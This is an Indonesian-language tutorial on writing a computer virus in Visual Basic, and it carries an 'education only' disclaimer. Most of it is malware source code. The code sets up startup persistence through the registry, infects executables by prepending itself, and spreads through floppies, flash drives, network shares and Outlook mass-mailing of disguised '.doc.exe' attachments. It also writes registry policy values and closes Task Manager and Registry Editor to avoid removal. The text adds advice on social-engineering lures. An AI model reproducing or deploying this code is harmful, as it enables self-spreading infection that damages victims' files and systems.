Hanya untuk tujuan pendidikan saja Teknik Pembuatan Virus Komputer Syarat sebuah virus computer : 1. Menyembunyikan prosesnya dari pemakai 2. Mengaktifkan dirinya setiap startup sistem 3. Menyebarkan dirinya melalui media file executable 4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi 5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system 6. Menyebarkan dirinya dengan filename spoofing. 7. Mempercepat proses penyebarannya dengan pendekatan social engineering 8. Berusaha mempertahankan existensi dirinya Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic. Menyembunyikan prosesnya dari pemakai Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah : App.TaskVisible = False Kemudian untuk menyembunyikan form dapat menggunakan : Me.Visible = False Mengaktifkan dirinya setiap startup sistem Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah : FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName dan menambah ke registry : Dim WShell as Object Set WShell = CreateObject("WScript.Shell") WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName Set WShell = Nothing Menyebarkan dirinya melalui media file executable 1 Hanya untuk tujuan pendidikan saja Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut : Program Executable Setelah terinfeksi oleh program virus menjadi : Program Virus + Program Executable + Ukuran Virus + Signature Virus Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable. Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan : Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus Private Sub PeriksadanInfeksiExe(fname As String) Dim tSignature As String * 5 Dim OriginalCode As String Dim fNum As Integer 'Jangan menginfeksi diri sendiri 'Hanya menginfeksi file berukuran lebih dibawah 1 Mega If Dir(fname) <> "" Then If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then 'Ambil nomor file fNum = FreeFile Open fname For Binary Access Read As fNum 'Buka file target Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus tSignature = Space$(5) Get fNum, , tSignature 'baca tSignature Close fNum If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature) On Error GoTo finally Open fname For Binary Access Read Write As fNum 'Buka file target OriginalCode = Space$(LOF(fNum)) Get fNum, , OriginalCode 'baca Program Executable Put fNum, 1, virCode 'tulis Program Virus diawal Put fNum, , OriginalCode 'tulis Program Executable Put fNum, , virSize 'tulis Ukuran Virus Put fNum, , virSignature 'tulis Signature Virus 2 Hanya untuk tujuan pendidikan saja Close fNum finally: End If End If End If End Sub Ketika program Executable dijalankan maka : Private Sub VirusInitial() Dim OriginalCode As String Dim tSignature As String * 5 Dim fNum As Integer Dim fname As String virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203) Open exePath + App.EXEName + ".exe" For Binary Access Read As #1 Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize tSignature = Space$(5) Get #1, , tSignature 'baca virSignature If tSignature <> virSignature Then virSize = LOF(1) virCode = Space$(virSize) Seek #1, 1 Get #1, , virCode Close #1 'Jika file virus sendiri 'ukuran virSize sama dengan ukuran file 'siapkan buffer virCode 'ke posisi bof 'baca virCode sebesar ukuran virSize Call VirInstall 'instalasi virus If Not SudahLoad Then Load ff End If 'aktifkan timer virus 'Jika file yang terinfeksi Else Seek #1, LOF(1) - 9 + 1 Get #1, , virSize 'Baca vircode virCode = Space$(virSize) Seek #1, 1 Get #1, , virCode 'pindah file pointer ke posisi virSize 'baca virSize (long = 4 byte) 'ke posisi BOF (Awal file) 'baca virCode sebesar ukuran virSize OriginalCode = Space$(LOF(1) - virSize) Get #1, , OriginalCode 'siapkan buffer 'baca originalCode 3 Hanya untuk tujuan pendidikan saja fNum = 0 Do While Dir(exePath & App.EXEName & fNum & ".exe") <> "" fNum = fNum + 1 Loop fname = exePath & App.EXEName & fNum & ".exe" On Error GoTo finally Open fname For Binary Access Write As #2 Put #2, , OriginalCode 'tulis ke file sementara Close #2 'tutup file sementara finally: Close #1 Call VirInstall If Not SudahLoad Then Load ff End If Call ExecuteOriginal(fname) Kill fname End If End Sub 'aktifkan timer virus 'hapus file sementara Private Sub ExecuteOriginal(fname) Dim Host As Long, HProc As Long, HExit As Long Host = Shell(fname, vbNormalFocus) 'jalankan fname HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host) GetExitCodeProcess HProc, HExit 'ambil status aktif Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif DoEvents 'lakukan event yang lain GetExitCodeProcess HProc, HExit Loop End Sub Private Function SudahLoad() As Boolean Dim vir_hwnd As Long 'Jika Jendela virus aktif vir_hwnd = FindWindow(vbNullString, titleSudahLoad) SudahLoad = Not (vir_hwnd = 0) End Function 4 Hanya untuk tujuan pendidikan saja Mempercepat proses penyebarannya melalui media pertukaran data dan informasi Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai. Public Sub InfeksiFloppy() On Error GoTo BatalInfeksi Dim floppy_hwnd As Long Dim fname As String 'Jika Jendela Floppy terbuka floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)") If Not floppy_hwnd = 0 Then Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan End If BatalInfeksi: End Sub Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C. Public Sub InfeksiFlashDisk() On Error GoTo BatalInfeksi Dim ObjFSO As Object Dim ObjDrive As Object Set ObjFSO = CreateObject("Scripting.FileSystemObject") For Each ObjDrive In ObjFSO.Drives 'Asumsi semua removable drive diatas huruf C adalah flash disk '1 - Removable drive '2 - Fixed drive (hard disk) '3 - Mapped network drive '4 - CD-ROM drive '5 - RAM disk If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC") End If Next BatalInfeksi: End Sub Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi : Public Sub InfeksiMySharing() Dim shares() As String, share As Variant, target As String If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then For Each share In shares 5 Hanya untuk tujuan pendidikan saja target = share Call InfeksiResource(target, "XLSDOCEXE") Next share End If End Sub Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack. Public Sub AmbilDomain() Dim Domains() As String, Domain As Variant If GetShares("", "Microsoft Windows Network", Domains) = True Then For Each Domain In Domains If Not stackDomain.isFull Then stackDomain.Push (Domain) End If Next Domain End If End Sub Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack. Public Sub AmbilComputer() Dim Computers() As String, Domain As String, Computer As Variant If Not stackDomain.isEmpty() Then Domain = stackDomain.Pop() If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then For Each Computer In Computers If Not stackComputer.isFull Then stackComputer.Push (Computer) End If Next Computer End If End If End Sub Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer : Public Sub AmbilDrive() Dim Drives() As String, Computer As String, Drive As Variant If Not stackComputer.isEmpty() Then Computer = stackComputer.Pop() If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then For Each Drive In Drives If Not stackDrive.isFull Then 6 Hanya untuk tujuan pendidikan saja stackDrive.Push (Drive) End If Next Drive End If End If End Sub Public Sub InfeksiNetworkDrive() Dim target As String If Not stackDrive.isEmpty() Then target = stackDrive.Pop() Call InfeksiResource(target, "XLSDOCEXE") End If End Sub Melakukan penyebaran melalui fasilitas email : Public Sub SpreadEmailOutlook() Dim Outlook As Object Dim Mapi As Object Dim Mail As Object Dim AddressBook As Variant Dim MailAddress As Variant Dim i As Integer, j As Integer On Error GoTo finally Set Outlook = CreateObject("Outlook.Application") Set Mapi = Outlook.GetNamespace("MAPI") For i = 1 To Mapi.AddressLists.Count Set AddressBook = Mapi.AddressLists(i) For j = 1 To AddressBook.AddressEntries.Count MailAddress = AddressBook.AddressEntries(j) Set Mail = Outlook.CreateItem(0) Mail.Recipients.Add (MailAddress) Mail.Subject = "Subject Virus Anda" Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment." Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe" Mail.Send Next Next finally: Set Outlook = Nothing Set Mapi = Nothing 7 Hanya untuk tujuan pendidikan saja End Sub Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus. Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai. Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya. Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka. Menyebarkan dirinya dengan filename spoofing. Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension : Misalnya : SuratCinta.doc.pif Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai : SuratCinta.doc Mempercepat proses penyebarannya dengan pendekatan social engineering. Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia. 8 Hanya untuk tujuan pendidikan saja Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment. Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut. Berusaha mempertahankan existensi dirinya Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut : WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD" WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD" Maupun melacak jendela proses-proses musuh, dan menutupnya. Public Sub KillEnemy() Dim EnemyProcess(20) As String Dim i As Integer EnemyProcess(1) = "Registry Editor" EnemyProcess(2) = "Windows Task Manager" EnemyProcess(3) = "Process Viewer" EnemyProcess(4) = "Open With" For i = 1 To 4 Step 1 Call KillEnemyWindow(EnemyProcess(i)) Next i End Sub Private Sub KillEnemyWindow(target As String) Dim Enemy_hwnd As Long Enemy_hwnd = FindWindow(vbNullString, target) If Not Enemy_hwnd = 0 Then CloseWindow (Enemy_hwnd) End If End Sub Kesimpulan : 9 Hanya untuk tujuan pendidikan saja Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintahperintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula. Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda. Lampiran A ‘API Declaration Modul Option Explicit Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long Public Const STILL_ACTIVE As Long = &H103 Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Public Type NETRESOURCE dwScope As Long dwType As Long dwDisplayType As Long dwUsage As Long lpLocalName As Long lpRemoteName As Long lpComment As Long lpProvider As Long End Type Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _ (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _ lpNetResource As NETRESOURCE, lphEnum As Long) As Long Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _ 10 Hanya untuk tujuan pendidikan saja (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _ (ByVal lpString1 As String, ByVal pString As Long) As Long Const RESOURCE_GLOBALNET = 2 Const RESOURCETYPE_DISK = 1 Const RESOURCEDISPLAYTYPE_DOMAIN = 0 Const RESOURCEUSAGE_CONTAINER = 1 Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean Dim hEnum As Long, nrLen As Long, nrCount As Long Dim nr(2048) As NETRESOURCE, retval As Boolean nrCount = -1 nrLen = 65536 RemoteName = StrConv(RemoteName, vbFromUnicode) nr(0).lpRemoteName = StrPtr(RemoteName) Provider = StrConv(Provider, vbFromUnicode) nr(0).lpProvider = StrPtr(Provider) nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN nr(0).dwUsage = RESOURCEUSAGE_CONTAINER If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then If nrCount > 0 Then ReDim sShares(nrCount - 1) As String For nrLen = 0 To (nrCount - 1) sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName)) Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName) Next nrLen retval = True End If End If Call WNetCloseEnum(hEnum) End If GetShares = retval End Function Lampiran B 11 Hanya untuk tujuan pendidikan saja ‘Form ff Option Explicit Dim SedangInfeksi As Boolean Dim SpreadEmail As Boolean Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk Dim Loncat As Integer Private Sub AT_Timer() Call KillEnemy If Not SedangInfeksi Then ‘jangan overlapping proses SedangInfeksi = True If Aktifitas = 0 Then Call InfeksiMySharing ElseIf Aktifitas = 1 Then Call AmbilDomain ElseIf Aktifitas = 2 Then Call AmbilComputer ElseIf Aktifitas = 3 Then Call AmbilDrive ElseIf Aktifitas = 4 Then Call InfeksiNetworkDrive ElseIf Aktifitas = 5 Then Call InfeksiFloppy ElseIf Aktifitas = 6 Then 'Call InfeksiFlashDisk ElseIf Aktifitas = 7 Then Call InfeksiMySharing ElseIf Aktifitas = 8 Then If Not SpreadEmail Then Call SpreadEmailOutlook SpreadEmail = True End If Aktifitas = 1 End If Aktifitas = (Aktifitas + 1) SedangInfeksi = False End If End Sub Main Program Private Sub Form_Load() Me.Visible = False Me.Caption = titleSudahLoad AT.Interval = 1000 SedangInfeksi = False 12 Hanya untuk tujuan pendidikan saja SpreadEmail = False Aktifitas = 0 Loncat = 0 AT.Enabled = True End Sub 13